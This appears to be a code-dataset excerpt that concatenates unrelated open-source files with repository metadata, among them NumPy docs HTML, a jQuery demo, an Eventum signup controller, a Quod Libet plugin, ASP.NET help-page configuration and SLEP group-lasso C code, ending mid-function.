class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span> <span class="n">m</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span> <span class="go">array([ 1., 0., 0., -4., 3.])</span> <span class="gp">&gt;&gt;&gt; </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span> <span class="n">k</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="go">array([ 2., 1., 1., -3.])</span> <span class="gp">&gt;&gt;&gt; </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span> <span class="n">lbnd</span><span class="o">=-</span><span class="mi">1</span><span class="p">)</span> <span class="go">array([ 11.5, 1. , 1. , -3. ])</span> <span class="gp">&gt;&gt;&gt; </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">],</span> <span class="n">m</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span> <span class="n">k</span><span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">],</span> <span class="n">lbnd</span><span class="o">=-</span><span class="mi">1</span><span class="p">)</span> <span class="go">array([ 11.16666667, -5. , -3. , 2. ])</span> </pre></div> </div> </dd></dl> </div> </div> </div> </div> </div> </div> </div> <div class="container container-navbar-bottom"> <div class="spc-navbar"> </div> </div> <div class="container"> <div class="footer"> <div class="row-fluid"> <ul class="inline pull-left"> <li> &copy; Copyright 2008-2009, The Scipy community. </li> <li> Last updated on Oct 18, 2015. </li> <li> Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.2.1. </li> </ul> </div> </div> </div> </body> </html>
platinhom/ManualHom
Coding/Python/numpy-html-1.10.1/reference/generated/numpy.polynomial.laguerre.lagint.html
HTML
gpl-2.0
13,464
<!DOCTYPE html> <html> <!-- Mirrored from www.w3schools.com/jquery/tryjquery_event_unbind.htm by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:36:08 GMT --> <head> <script src="../../ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script> <script> $(document).ready(function(){ $("p").click(function(){ $(this).slideToggle(); }); $("button").click(function(){ $("p").unbind(); }); }); </script> </head> <body> <p>This is a paragraph.</p> <p>This is another paragraph.</p> <p>Click any p element to make it disappear.</p> <button>Remove all event handlers for all p elements</button> </body> <!-- Mirrored from www.w3schools.com/jquery/tryjquery_event_unbind.htm by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:36:08 GMT --> </html>
platinhom/ManualHom
Coding/W3School/W3Schools_Offline_2015/www.w3schools.com/jquery/tryjquery_event_unbind.html
HTML
gpl-2.0
795
<?php /* * This file is part of the Eventum (Issue Tracking System) package. * * @copyright (c) Eventum Team * @license GNU General Public License, version 2 or later (GPL-2+) * * For the full copyright and license information, * please see the COPYING and AUTHORS files * that were distributed with this source code. */ namespace Eventum\Controller; use Auth; use AuthCookie; use Eventum\Controller\Helper\MessagesHelper; use Setup; use User; class SignupController extends BaseController { /** @var string */ protected $tpl_name = 'signup.tpl.html'; /** @var string */ private $cat; /** * {@inheritdoc} */ protected function configure() { $request = $this->getRequest(); $this->cat = $request->request->get('cat'); } /** * {@inheritdoc} */ protected function canAccess() { // log anonymous users out so they can use the signup form if (AuthCookie::hasAuthCookie() && Auth::isAnonUser()) { Auth::logout(); } return true; } /** * {@inheritdoc} */ protected function defaultAction() { if ($this->cat == 'signup') { $this->createVisitorAccountAction(); } } private function createVisitorAccountAction() { $setup = Setup::get(); if ($setup['open_signup'] != 'enabled') { $error = ev_gettext('Sorry, but this feature has been disabled by the administrator.'); $this->error($error); } $res = User::createVisitorAccount($setup['accounts_role'], $setup['accounts_projects']); $this->tpl->assign('signup_result', $res); // TODO: translate $map = [ 1 => ['Thank you, your account creation request was processed successfully. For security reasons a confirmation email was sent to the provided email address with instructions on how to confirm your request and activate your account.', MessagesHelper::MSG_INFO], -1 => ['Error: An error occurred while trying to run your query.', MessagesHelper::MSG_ERROR], -2 => ['Error: The email address specified is already associated with an user in the system.', MessagesHelper::MSG_ERROR], ]; $this->messages->mapMessages($res, $map); } /** * {@inheritdoc} */ protected function prepareTemplate() { } }
mariadb-corporation/eventum
src/Controller/SignupController.php
PHP
gpl-2.0
2,410
# simpleSound.py # Plays audio files on Linux and Windows. # Written Jan-2008 by Timothy Weber. # Based on (reconstituted) code posted by Bill Dandreta at <http://www.velocityreviews.com/forums/t337346-how-to-play-sound-in-python.html>. import platform if platform.system().startswith('Win'): from winsound import PlaySound, SND_FILENAME, SND_ASYNC elif platform.system().startswith('Linux'): from wave import open as waveOpen from ossaudiodev import open as ossOpen try: from ossaudiodev import AFMT_S16_NE except ImportError: if byteorder == "little": AFMT_S16_NE = ossaudiodev.AFMT_S16_LE else: AFMT_S16_NE = ossaudiodev.AFMT_S16_BE def Play(filename): """Plays the sound in the given filename, asynchronously.""" if platform.system().startswith('Win'): PlaySound(filename, SND_FILENAME|SND_ASYNC) elif platform.system().startswith('Linux'): try: s = waveOpen(filename,'rb') (nc,sw,fr,nf,comptype, compname) = s.getparams( ) dsp = ossOpen('/dev/dsp','w') dsp.setparameters(AFMT_S16_NE, nc, fr) data = s.readframes(nf) s.close() dsp.write(data) dsp.close() except: pass
teejaydub/khet
simpleSound.py
Python
gpl-2.0
1,290
# -*- coding: utf-8 -*- # Copyright 2011 Christoph Reiter <[email protected]> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. import os import sys if os.name == "nt" or sys.platform == "darwin": from quodlibet.plugins import PluginNotSupportedError raise PluginNotSupportedError import dbus from quodlibet import _ from quodlibet import app from quodlibet.qltk import Icons from quodlibet.plugins.events import EventPlugin def get_toplevel_xid(): if app.window.get_window(): try: return app.window.get_window().get_xid() except AttributeError: # non x11 pass return 0 class InhibitFlags(object): LOGOUT = 1 USERSWITCH = 1 << 1 SUSPEND = 1 << 2 IDLE = 1 << 3 class SessionInhibit(EventPlugin): PLUGIN_ID = "screensaver_inhibit" PLUGIN_NAME = _("Inhibit Screensaver") PLUGIN_DESC = _("Prevents the GNOME screensaver from activating while" " a song is playing.") PLUGIN_ICON = Icons.PREFERENCES_DESKTOP_SCREENSAVER DBUS_NAME = "org.gnome.SessionManager" DBUS_INTERFACE = "org.gnome.SessionManager" DBUS_PATH = "/org/gnome/SessionManager" APPLICATION_ID = "quodlibet" INHIBIT_REASON = _("Music is playing") __cookie = None def enabled(self): if not app.player.paused: self.plugin_on_unpaused() def disabled(self): if not app.player.paused: self.plugin_on_paused() def plugin_on_unpaused(self): xid = dbus.UInt32(get_toplevel_xid()) flags = dbus.UInt32(InhibitFlags.IDLE) try: bus = dbus.SessionBus() obj = bus.get_object(self.DBUS_NAME, self.DBUS_PATH) iface = dbus.Interface(obj, self.DBUS_INTERFACE) self.__cookie = iface.Inhibit( self.APPLICATION_ID, xid, self.INHIBIT_REASON, flags) except dbus.DBusException: pass def plugin_on_paused(self): if self.__cookie is None: return try: bus = dbus.SessionBus() obj = bus.get_object(self.DBUS_NAME, self.DBUS_PATH) iface = dbus.Interface(obj, self.DBUS_INTERFACE) iface.Uninhibit(self.__cookie) self.__cookie = None except dbus.DBusException: pass
elbeardmorez/quodlibet
quodlibet/quodlibet/ext/events/inhibit.py
Python
gpl-2.0
2,526
#include "../ProtocolCommand.h" //#include <sqlite3.h> using namespace org::esb::net; using namespace org::esb::hive; using namespace std; class CreateHive:public ProtocolCommand { private: Socket * socket; public: ~CreateHive () { } CreateHive (TcpSocket * socket) { this->socket = socket; this->is = socket->getInputStream (); this->os = socket->getOutputStream (); } CreateHive (InputStream * is, OutputStream * os) { this->is = is; this->os = os; } int isResponsible (cmdId & cmid) { } int isResponsible (char *command) { if (strstr (command, "create hive") > 0) { return CMD_PROCESS; } else if (strcmp (command, "help") == 0) { return CMD_HELP; } return CMD_NA; } void process (char *data) { string msg = "Creating Hive at "; string path = data + 12; msg += path; os->write ((char *) msg.c_str (), msg.length ()); string tableFile = "CREATE TABLE FILE (id, name, size, type)"; string tablePacket = "CREATE TABLE PACKET (id,pts,dts,stream_index,flags,duration,pos,data_size,data)"; string tableJob = "CREATE TABLE JOB(id,infile,outfile)"; sqlite3 *db; sqlite3_stmt *pStmt; char *zErrMsg = 0; int rc = sqlite3_open (path.c_str (), &db); if (rc) { fprintf (stderr, "Can't open database: %s\n", sqlite3_errmsg (db)); sqlite3_close (db); return; } sqlite3_exec (db, tableFile.c_str (), NULL, NULL, NULL); sqlite3_exec (db, tablePacket.c_str (), NULL, NULL, NULL); sqlite3_exec (db, tableJob.c_str (), NULL, NULL, NULL); } void printHelp () { } };
psychobob666/MediaEncodingCluster
src/org/esb/hive/protocol/CreateHive.cpp
C++
gpl-2.0
1,553
<?php namespace SimpleCalendar\plugin_deps; /** * This file is part of the Carbon package. * * (c) Brian Nesbitt <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ /* * Unknown default region, use the first alphabetically. */ return require __DIR__ . '/sgs_LT.php';
projectestac/wordpress-gce
third-party/nesbot/carbon/src/Carbon/Lang/sgs.php
PHP
gpl-2.0
375
using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Linq; using System.Net.Http.Headers; using System.Web.Http; using System.Web.Http.Description; using Sudoku.Areas.HelpPage.Models; namespace Sudoku.Areas.HelpPage { public static class HelpPageConfigurationExtensions { private const string ApiModelPrefix = "MS_HelpPageApiModel_"; /// <summary> /// Sets the documentation provider for help page. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="documentationProvider">The documentation provider.</param> public static void SetDocumentationProvider(this HttpConfiguration config, IDocumentationProvider documentationProvider) { config.Services.Replace(typeof(IDocumentationProvider), documentationProvider); } /// <summary> /// Sets the objects that will be used by the formatters to produce sample requests/responses. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sampleObjects">The sample objects.</param> public static void SetSampleObjects(this HttpConfiguration config, IDictionary<Type, object> sampleObjects) { config.GetHelpPageSampleGenerator().SampleObjects = sampleObjects; } /// <summary> /// Sets the sample request directly for the specified media type and action. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample request.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, new[] { "*" }), sample); } /// <summary> /// Sets the sample request directly for the specified media type and action with parameters. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample request.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, parameterNames), sample); } /// <summary> /// Sets the sample request directly for the specified media type of the action. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample response.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, new[] { "*" }), sample); } /// <summary> /// Sets the sample response directly for the specified media type of the action with specific parameters. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample response.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, parameterNames), sample); } /// <summary> /// Sets the sample directly for all actions with the specified type and media type. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample.</param> /// <param name="mediaType">The media type.</param> /// <param name="type">The parameter type or return type of an action.</param> public static void SetSampleForType(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, Type type) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, type), sample); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate request samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, new[] { "*" }), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate request samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, parameterNames), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate response samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, new[] { "*" }), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate response samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, parameterNames), type); } /// <summary> /// Gets the help page sample generator. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <returns>The help page sample generator.</returns> public static HelpPageSampleGenerator GetHelpPageSampleGenerator(this HttpConfiguration config) { return (HelpPageSampleGenerator)config.Properties.GetOrAdd( typeof(HelpPageSampleGenerator), k => new HelpPageSampleGenerator()); } /// <summary> /// Sets the help page sample generator. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sampleGenerator">The help page sample generator.</param> public static void SetHelpPageSampleGenerator(this HttpConfiguration config, HelpPageSampleGenerator sampleGenerator) { config.Properties.AddOrUpdate( typeof(HelpPageSampleGenerator), k => sampleGenerator, (k, o) => sampleGenerator); } /// <summary> /// Gets the model that represents an API displayed on the help page. The model is initialized on the first call and cached for subsequent calls. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="apiDescriptionId">The <see cref="ApiDescription"/> ID.</param> /// <returns> /// An <see cref="HelpPageApiModel"/> /// </returns> public static HelpPageApiModel GetHelpPageApiModel(this HttpConfiguration config, string apiDescriptionId) { object model; string modelId = ApiModelPrefix + apiDescriptionId; if (!config.Properties.TryGetValue(modelId, out model)) { Collection<ApiDescription> apiDescriptions = config.Services.GetApiExplorer().ApiDescriptions; ApiDescription apiDescription = apiDescriptions.FirstOrDefault(api => String.Equals(api.GetFriendlyId(), apiDescriptionId, StringComparison.OrdinalIgnoreCase)); if (apiDescription != null) { HelpPageSampleGenerator sampleGenerator = config.GetHelpPageSampleGenerator(); model = GenerateApiModel(apiDescription, sampleGenerator); config.Properties.TryAdd(modelId, model); } } return (HelpPageApiModel)model; } [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "The exception is recorded as ErrorMessages.")] private static HelpPageApiModel GenerateApiModel(ApiDescription apiDescription, HelpPageSampleGenerator sampleGenerator) { HelpPageApiModel apiModel = new HelpPageApiModel(); apiModel.ApiDescription = apiDescription; try { foreach (var item in sampleGenerator.GetSampleRequests(apiDescription)) { apiModel.SampleRequests.Add(item.Key, item.Value); LogInvalidSampleAsError(apiModel, item.Value); } foreach (var item in sampleGenerator.GetSampleResponses(apiDescription)) { apiModel.SampleResponses.Add(item.Key, item.Value); LogInvalidSampleAsError(apiModel, item.Value); } } catch (Exception e) { apiModel.ErrorMessages.Add(String.Format(CultureInfo.CurrentCulture, "An exception has occurred while generating the sample. Exception Message: {0}", e.Message)); } return apiModel; } private static void LogInvalidSampleAsError(HelpPageApiModel apiModel, object sample) { InvalidSample invalidSample = sample as InvalidSample; if (invalidSample != null) { apiModel.ErrorMessages.Add(invalidSample.ErrorMessage); } } } }
swilson96/sudoku-web-solver
Sudoku/Areas/HelpPage/HelpPageConfigurationExtensions.cs
C#
gpl-2.0
13,692
/* This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * Copyright (C) 2009 - 2012 Jun Liu and Jieping Ye */ #include <shogun/lib/slep/overlapping/overlapping.h> void identifySomeZeroEntries(double * u, int * zeroGroupFlag, int *entrySignFlag, int *pp, int *gg, double *v, double lambda1, double lambda2, int p, int g, double * w, double *G){ int i, j, newZeroNum, iterStep=0; double twoNorm, temp; /* * process the L1 norm * * generate the u>=0, and assign values to entrySignFlag * */ for(i=0;i<p;i++){ if (v[i]> lambda1){ u[i]=v[i]-lambda1; entrySignFlag[i]=1; } else{ if (v[i] < -lambda1){ u[i]= -v[i] -lambda1; entrySignFlag[i]=-1; } else{ u[i]=0; entrySignFlag[i]=0; } } } /* * Applying Algorithm 1 for identifying some sparse groups * */ /* zeroGroupFlag denotes whether the corresponding group is zero */ for(i=0;i<g;i++) zeroGroupFlag[i]=1; while(1){ iterStep++; if (iterStep>g+1){ printf("\n Identify Zero Group: iterStep= %d. The code might have a bug! Check it!", iterStep); return; } /*record the number of newly detected sparse groups*/ newZeroNum=0; for (i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*compute the two norm of the */ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=u[ (int) G[j]]; twoNorm+=temp*temp; } twoNorm=sqrt(twoNorm); /* printf("\n twoNorm=%2.5f, %2.5f",twoNorm,lambda2 * w[3*i+2]); */ /* * Test whether this group should be sparse */ if (twoNorm<= lambda2 * w[3*i+2] ){ zeroGroupFlag[i]=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) u[ (int) G[j]]=0; newZeroNum++; /* printf("\n zero group=%d", i); */ } } /*end of if(!zeroGroupFlag[i]) */ } /*end of for*/ if (newZeroNum==0) break; } *pp=0; /* zeroGroupFlag denotes whether the corresponding entry is zero */ for(i=0;i<p;i++){ if (u[i]==0){ entrySignFlag[i]=0; *pp=*pp+1; } } *gg=0; for(i=0;i<g;i++){ if (zeroGroupFlag[i]==0) *gg=*gg+1; } } void xFromY(double *x, double *y, double *u, double *Y, int p, int g, int *zeroGroupFlag, double *G, double *w){ int i,j; for(i=0;i<p;i++) x[i]=u[i]; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ x[ (int) G[j] ] -= Y[j]; } } }/*end of for(i=0;i<g;i++) */ for(i=0;i<p;i++){ if (x[i]>=0){ y[i]=0; } else{ y[i]=x[i]; x[i]=0; } } } void YFromx(double *Y, double *xnew, double *Ynew, double lambda2, int g, int *zeroGroupFlag, double *G, double *w){ int i, j; double twoNorm, temp; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=xnew[ (int) G[j] ]; Y[j]=temp; twoNorm+=temp*temp; } twoNorm=sqrt(twoNorm); /* two norm for x_{G_i}*/ if (twoNorm > 0 ){ /*if x_{G_i} is non-zero*/ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j] *= temp; } else /*if x_{G_j} =0, we let Y^i=Ynew^i*/ { for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j]=Ynew[j]; } } }/*end of for(i=0;i<g;i++) */ } void dualityGap(double *gap, double *penalty2, double *x, double *Y, int g, int *zeroGroupFlag, double *G, double *w, double lambda2){ int i,j; double temp, twoNorm, innerProduct; *gap=0; *penalty2=0; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ twoNorm=0;innerProduct=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=x[ (int) G[j] ]; twoNorm+=temp*temp; innerProduct+=temp * Y[j]; } twoNorm=sqrt(twoNorm)* w[3*i +2]; *penalty2+=twoNorm; twoNorm=lambda2 * twoNorm; if (twoNorm > innerProduct) *gap+=twoNorm-innerProduct; } }/*end of for(i=0;i<g;i++) */ } void overlapping_gd(double *x, double *gap, double *penalty2, double *v, int p, int g, double lambda1, double lambda2, double *w, double *G, double *Y, int maxIter, int flag, double tol){ int YSize=(int) w[3*(g-1) +1]+1; double *u=(double *)malloc(sizeof(double)*p); double *y=(double *)malloc(sizeof(double)*p); double *xnew=(double *)malloc(sizeof(double)*p); double *Ynew=(double *)malloc(sizeof(double)* YSize ); int *zeroGroupFlag=(int *)malloc(sizeof(int)*g); int *entrySignFlag=(int *)malloc(sizeof(int)*p); int pp, gg; int i, j, iterStep; double twoNorm,temp, L=1, leftValue, rightValue, gapR, penalty2R; int nextRestartStep=0; /* * call the function to identify some zero entries * * entrySignFlag[i]=0 denotes that the corresponding entry is definitely zero * * zeroGroupFlag[i]=0 denotes that the corresponding group is definitely zero * */ identifySomeZeroEntries(u, zeroGroupFlag, entrySignFlag, &pp, &gg, v, lambda1, lambda2, p, g, w, G); penalty2[1]=pp; penalty2[2]=gg; /*store pp and gg to penalty2[1] and penalty2[2]*/ /* *------------------- * Process Y *------------------- * We make sure that Y is feasible * and if x_i=0, then set Y_{ij}=0 */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ /*compute the two norm of the group*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ if (! u[ (int) G[j] ] ) Y[j]=0; twoNorm+=Y[j]*Y[j]; } twoNorm=sqrt(twoNorm); if (twoNorm > lambda2 * w[3*i+2] ){ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j]*=temp; } } else{ /*this group is zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j]=0; } } /* * set Ynew to zero * * in the following processing, we only operator Y and Ynew in the * possibly non-zero groups by "if(zeroGroupFlag[i])" * */ for(i=0;i<YSize;i++) Ynew[i]=0; /* * ------------------------------------ * Gradient Descent begins here * ------------------------------------ */ /* * compute x=max(u-Y * e, 0); * */ xFromY(x, y, u, Y, p, g, zeroGroupFlag, G, w); /*the main loop */ for(iterStep=0;iterStep<maxIter;iterStep++){ /* * the gradient at Y is * * omega'(Y)=-x e^T * * where x=max(u-Y * e, 0); * */ /* * line search to find Ynew with appropriate L */ while (1){ /* * compute * Ynew = proj ( Y + x e^T / L ) */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ Ynew[j]= Y[j] + x[ (int) G[j] ] / L; twoNorm+=Ynew[j]*Ynew[j]; } twoNorm=sqrt(twoNorm); if (twoNorm > lambda2 * w[3*i+2] ){ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Ynew[j]*=temp; } } }/*end of for(i=0;i<g;i++) */ /* * compute xnew=max(u-Ynew * e, 0); * *void xFromY(double *x, double *y, * double *u, double *Y, * int p, int g, int *zeroGroupFlag, * double *G, double *w) */ xFromY(xnew, y, u, Ynew, p, g, zeroGroupFlag, G, w); /* test whether L is appropriate*/ leftValue=0; for(i=0;i<p;i++){ if (entrySignFlag[i]){ temp=xnew[i]-x[i]; leftValue+= temp * ( 0.5 * temp + y[i]); } } rightValue=0; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=Ynew[j]-Y[j]; rightValue+=temp * temp; } } }/*end of for(i=0;i<g;i++) */ rightValue=rightValue/2; if ( leftValue <= L * rightValue){ temp= L * rightValue / leftValue; if (temp >5) L=L*0.8; break; } else{ temp=leftValue / rightValue; if (L*2 <= temp) L=temp; else L=2*L; if ( L / g - 2* g ){ if (rightValue < 1e-16){ break; } else{ printf("\n GD: leftValue=%e, rightValue=%e, ratio=%e", leftValue, rightValue, temp); printf("\n L=%e > 2 * %d * %d. There might be a bug here. Otherwise, it is due to numerical issue.", L, g, g); break; } } } } /* compute the duality gap at (xnew, Ynew) * * void dualityGap(double *gap, double *penalty2, * double *x, double *Y, int g, int *zeroGroupFlag, * double *G, double *w, double lambda2) * */ dualityGap(gap, penalty2, xnew, Ynew, g, zeroGroupFlag, G, w, lambda2); /* * flag =1 means restart * * flag =0 means with restart * * nextRestartStep denotes the next "step number" for * initializing the restart process. * * This is based on the fact that, the result is only beneficial when * xnew is good. In other words, * if xnew is not good, then the * restart might not be helpful. */ if ( (flag==0) || (flag==1 && iterStep < nextRestartStep )){ /* copy Ynew to Y, and xnew to x */ memcpy(x, xnew, sizeof(double) * p); memcpy(Y, Ynew, sizeof(double) * YSize); /* printf("\n iterStep=%d, L=%2.5f, gap=%e", iterStep, L, *gap); */ } else{ /* * flag=1 * * We allow the restart of the program. * * Here, Y is constructed as a subgradient of xnew, based on the * assumption that Y might be a better choice than Ynew, provided * that xnew is good enough. * */ /* * compute the restarting point Y with xnew and Ynew * *void YFromx(double *Y, * double *xnew, double *Ynew, * double lambda2, int g, int *zeroGroupFlag, * double *G, double *w) */ YFromx(Y, xnew, Ynew, lambda2, g, zeroGroupFlag, G, w); /*compute the solution with the starting point Y * *void xFromY(double *x, double *y, * double *u, double *Y, * int p, int g, int *zeroGroupFlag, * double *G, double *w) * */ xFromY(x, y, u, Y, p, g, zeroGroupFlag, G, w); /*compute the duality at (x, Y) * * void dualityGap(double *gap, double *penalty2, * double *x, double *Y, int g, int *zeroGroupFlag, * double *G, double *w, double lambda2) * */ dualityGap(&gapR, &penalty2R, x, Y, g, zeroGroupFlag, G, w, lambda2); if (*gap< gapR){ /*(xnew, Ynew) is better in terms of duality gap*/ /* copy Ynew to Y, and xnew to x */ memcpy(x, xnew, sizeof(double) * p); memcpy(Y, Ynew, sizeof(double) * YSize); /*In this case, we do not apply restart, as (x,Y) is not better * * We postpone the "restart" by giving a * "nextRestartStep" */ /* * we test *gap here, in case *gap=0 */ if (*gap <=tol) break; else{ nextRestartStep=iterStep+ (int) sqrt(gapR / *gap); } } else{ /*we use (x, Y), as it is better in terms of duality gap*/ *gap=gapR; *penalty2=penalty2R; } /* printf("\n iterStep=%d, L=%2.5f, gap=%e, gapR=%e", iterStep, L, *gap, gapR); */ } /* * if the duality gap is within pre-specified parameter tol * * we terminate the algorithm */ if (*gap <=tol) break; } penalty2[3]=iterStep; penalty2[4]=0; for(i=0;i<g;i++){ if (zeroGroupFlag[i]==0) penalty2[4]=penalty2[4]+1; else{ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ if (x[ (int) G[j] ] !=0) break; } if (j>(int) w[3*i +1]) penalty2[4]=penalty2[4]+1; } } /* * assign sign to the solution x */ for(i=0;i<p;i++){ if (entrySignFlag[i]==-1){ x[i]=-x[i]; } } free (u); free (y); free (xnew); free (Ynew); free (zeroGroupFlag); free (entrySignFlag); } void gradientDescentStep(double *xnew, double 